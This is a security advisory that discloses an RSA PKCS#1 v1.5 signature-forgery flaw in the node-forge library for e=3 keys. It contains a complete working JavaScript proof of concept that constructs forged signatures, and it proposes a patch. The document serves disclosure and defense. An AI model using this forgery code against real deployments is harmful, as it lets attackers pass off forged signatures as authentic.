Forge has signature forgery in RSA-PKCS due to ASN.1 extra field

Summary

RSASSA PKCS#1 v1.5 signature verification accepts forged signatures for low public exponent keys (e=3). Attackers can forge signatures by stuffing “garbage” bytes within the ASN structure in order to construct a signature that passes verification, enabling Bleichenbacher style forgery. This issue is similar to CVE-2022-24771, but adds bytes in an addition field within the ASN structure, rather than outside of it.

Additionally, forge does not validate that signatures include a minimum of 8 bytes of padding as defined by the specification, providing attackers additional space to construct Bleichenbacher forgeries.

Impacted Deployments

Tested commit: 8e1d527fe8ec2670499068db783172d4fb9012e5
Affected versions: tested on v1.3.3 (latest release) and recent prior versions.

Configuration assumptions:
- Invoke key.verify with defaults (default scheme uses RSASSA-PKCS1-v1_5).
- _parseAllDigestBytes: true (default setting).

Root Cause

In lib/rsa.js, key.verify(...), forge decrypts the signature block, decodes PKCS#1 v1.5 padding (_decodePkcs1_v1_5), parses ASN.1, and compares capture.digest to the provided digest.

Two issues are present with this logic:

1. Strict DER byte-consumption (_parseAllDigestBytes) only guarantees all bytes are parsed, not that the parsed structure is the canonical minimal DigestInfo shape expected by RFC 8017 verification semantics. A forged EM with attacker-controlled additional ASN.1 content inside the parsed container can still pass forge verification while OpenSSL rejects it.
2. _decodePkcs1_v1_5 comments mention that PS < 8 bytes should be rejected, but does not implement this logic.

Reproduction Steps

1. Use Node.js (tested with v24.9.0) and clone digitalbazaar/forge at commit 8e1d527fe8ec2670499068db783172d4fb9012e5.
2. Place and run the PoC script (repro_min.js) with node repro_min.js in the same level as the forge folder.
3. The script generates a fresh RSA keypair (4096 bits, e=3), creates a normal control signature, then computes a forged candidate using cube-root interval construction.
4. The script verifies both signatures with:
   - forge verify (_parseAllDigestBytes: true), and
   - Node/OpenSSL verify (crypto.verify with RSA_PKCS1_PADDING).
5. Confirm output includes:
   - control-forge-strict: true
   - control-node: true
   - forgery (forge library, strict): true
   - forgery (node/OpenSSL): false

Proof of Concept

Overview:
- Demonstrates a valid control signature and a forged signature in one run.
- Uses strict forge parsing mode explicitly (_parseAllDigestBytes: true, also forge default).
- Uses Node/OpenSSL as an differential verification baseline.
- Observed output on tested commit:

control-forge-strict: true
control-node: true
forgery (forge library, strict): true
forgery (node/OpenSSL): false

<details><summary>repro_min.js</summary>

#!/usr/bin/env node
'use strict';

const crypto = require('crypto');
const forge = require('./forge/lib/index');

// DER prefix for PKCS#1 v1.5 SHA-256 DigestInfo, without the digest bytes:
// SEQUENCE {
//   SEQUENCE { OID sha256, NULL },
//   OCTET STRING <32-byte digest>
// }
// Hex: 30 0d 06 09 60 86 48 01 65 03 04 02 01 05 00 04 20
const DIGESTINFO_SHA256_PREFIX = Buffer.from(
  '300d060960864801650304020105000420',
  'hex'
);

const toBig = b => BigInt('0x' + (b.toString('hex') || '0'));
function toBuf(n, len) {
  let h = n.toString(16);
  if (h.length % 2) h = '0' + h;
  const b = Buffer.from(h, 'hex');
  return b.length < len ? Buffer.concat([Buffer.alloc(len - b.length), b]) : b;
}
function cbrtFloor(n) {
  let lo = 0n;
  let hi = 1n;
  while (hi * hi * hi <= n) hi <<= 1n;
  while (lo + 1n < hi) {
    const mid = (lo + hi) >> 1n;
    if (mid * mid * mid <= n) lo = mid;
    else hi = mid;
  }
  return lo;
}
const cbrtCeil = n => {
  const f = cbrtFloor(n);
  return f * f * f === n ? f : f + 1n;
};
function derLen(len) {
  if (len < 0x80) return Buffer.from([len]);
  if (len <= 0xff) return Buffer.from([0x81, len]);
  return Buffer.from([0x82, (len >> 8) & 0xff, len & 0xff]);
}

function forgeStrictVerify(publicPem, msg, sig) {
  const key = forge.pki.publicKeyFromPem(publicPem);
  const md = forge.md.sha256.create();
  md.update(msg.toString('utf8'), 'utf8');
  try {
    // verify(digestBytes, signatureBytes, scheme, options):
    // - digestBytes: raw SHA-256 digest bytes for `msg`
    // - signatureBytes: binary-string representation of the candidate signature
    // - scheme: undefined => default RSASSA-PKCS1-v1_5
    // - options._parseAllDigestBytes: require DER parser to consume all bytes
    //   (this is forge's default for verify; set explicitly here for clarity)
    return { ok: key.verify(md.digest().getBytes(), sig.toString('binary'), undefined, { _parseAllDigestBytes: true }) };
  } catch (err) {
    return { ok: false, err: err.message };
  }
}

function main() {
  const { privateKey, publicKey } = crypto.generateKeyPairSync('rsa', {
    modulusLength: 4096,
    publicExponent: 3,
    privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    publicKeyEncoding: { type: 'pkcs1', format: 'pem' }
  });

  const jwk = crypto.createPublicKey(publicKey).export({ format: 'jwk' });
  const nBytes = Buffer.from(jwk.n, 'base64url');
  const n = toBig(nBytes);
  const e = toBig(Buffer.from(jwk.e, 'base64url'));
  if (e !== 3n) throw new Error('expected e=3');

  const msg = Buffer.from('forged-message-0', 'utf8');
  const digest = crypto.createHash('sha256').update(msg).digest();
  const algAndDigest = Buffer.concat([DIGESTINFO_SHA256_PREFIX, digest]);

  // Minimal prefix that forge currently accepts: 00 01 00 + DigestInfo + extra OCTET STRING.
  const k = nBytes.length;
  // ffCount can be set to any value at or below 111 and produce a valid signature.
  // ffCount should be rejected for values below 8, since that would constitute a malformed PKCS1 package.
  // However, current versions of node forge do not check for this.
  // Rejection of packages with less than 8 bytes of padding is bad but does not constitute a vulnerability by itself.
  const ffCount = 0; 
  // `garbageLen` affects DER length field sizes, which in turn affect how
  // many bytes remain for garbage. Iterate to a fixed point so total EM size is exactly `k`.
  // A small cap (8) is enough here: DER length-size transitions are discrete
  // and few (<128, <=255, <=65535, ...), so this stabilizes quickly.
  let garbageLen = 0;
  for (let i = 0; i < 8; i += 1) {
    const gLenEnc = derLen(garbageLen).length;
    const seqLen = algAndDigest.length + 1 + gLenEnc + garbageLen;
    const seqLenEnc = derLen(seqLen).length;
    const fixed = 2 + ffCount + 1 + 1 + seqLenEnc + algAndDigest.length + 1 + gLenEnc;
    const next = k - fixed;
    if (next === garbageLen) break;
    garbageLen = next;
  }
  const seqLen = algAndDigest.length + 1 + derLen(garbageLen).length + garbageLen;
  const prefix = Buffer.concat([
    Buffer.from([0x00, 0x01]),
    Buffer.alloc(ffCount, 0xff),
    Buffer.from([0x00]),
    Buffer.from([0x30]), derLen(seqLen),
    algAndDigest,
    Buffer.from([0x04]), derLen(garbageLen)
  ]);

  // Build the numeric interval of all EM values that start with `prefix`:
  // - `low`  = prefix || 00..00
  // - `high` = one past (prefix || ff..ff)
  // Then find `s` such that s^3 is inside [low, high), so EM has our prefix.
  const suffixLen = k - prefix.length;
  const low = toBig(Buffer.concat([prefix, Buffer.alloc(suffixLen)]));
  const high = low + (1n << BigInt(8 * suffixLen));
  const s = cbrtCeil(low);
  if (s > cbrtFloor(high - 1n) || s >= n) throw new Error('no candidate in interval');

  const sig = toBuf(s, k);

  const controlMsg = Buffer.from('control-message', 'utf8');
  const controlSig = crypto.sign('sha256', controlMsg, {
    key: privateKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  });

  // forge verification calls (library under test)
  const controlForge = forgeStrictVerify(publicKey, controlMsg, controlSig);
  const forgedForge = forgeStrictVerify(publicKey, msg, sig);

  // Node.js verification calls (OpenSSL-backed reference behavior)
  const controlNode = crypto.verify('sha256', controlMsg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, controlSig);
  const forgedNode = crypto.verify('sha256', msg, {
    key: publicKey,
    padding: crypto.constants.RSA_PKCS1_PADDING
  }, sig);

  console.log('control-forge-strict:', controlForge.ok, controlForge.err || '');
  console.log('control-node:', controlNode);
  console.log('forgery (forge library, strict):', forgedForge.ok, forgedForge.err || '');
  console.log('forgery (node/OpenSSL):', forgedNode);
}

main();

</details>

Suggested Patch

• Enforce PKCS#1 v1.5 BT=0x01 minimum padding length (PS >= 8) in _decodePkcs1_v1_5 before accepting the block.
• Update the RSASSA-PKCS1-v1_5 verifier to require canonical DigestInfo structure only (no extra attacker-controlled ASN.1 content beyond expected fields).

Here is a Forge-tested patch to resolve the issue, though it should be verified for consumer projects:

index b207a63..ec8a9c1 100644
--- a/lib/rsa.js
+++ b/lib/rsa.js
@@ -1171,6 +1171,14 @@ pki.setRsaPublicKey = pki.rsa.setPublicKey = function(n, e) {
             error.errors = errors;
             throw error;
           }
+
+          if(obj.value.length != 2) {
+            var error = new Error(
+              'DigestInfo ASN.1 object must contain exactly 2 fields for ' +
+              'a valid RSASSA-PKCS1-v1_5 package.');
+            error.errors = errors;
+            throw error;
+          }
           // check hash algorithm identifier
           // see PKCS1-v1-5DigestAlgorithms in RFC 8017
           // FIXME: add support to validator for strict value choices
@@ -1673,6 +1681,10 @@ function _decodePkcs1_v1_5(em, key, pub, ml) {
       }
       ++padNum;
     }
+
+    if (padNum < 8) {
+      throw new Error('Encryption block is invalid.');
+    }
   } else if(bt === 0x02) {
     // look for 0x00 byte
     padNum = 0;

Resources

• RFC 2313 (PKCS v1.5): https://datatracker.ietf.org/doc/html/rfc2313#section-8
• > This limitation guarantees that the length of the padding string PS is at least eight octets, which is a security condition.
• RFC 8017: https://www.rfc-editor.org/rfc/rfc8017.html
• lib/rsa.js key.verify(...) at lines ~1139-1223.
• lib/rsa.js _decodePkcs1_v1_5(...) at lines ~1632-1695.

Credit

This vulnerability was discovered as part of a U.C. Berkeley security research project by: Austin Chu, Sohee Kim, and Corban Villa.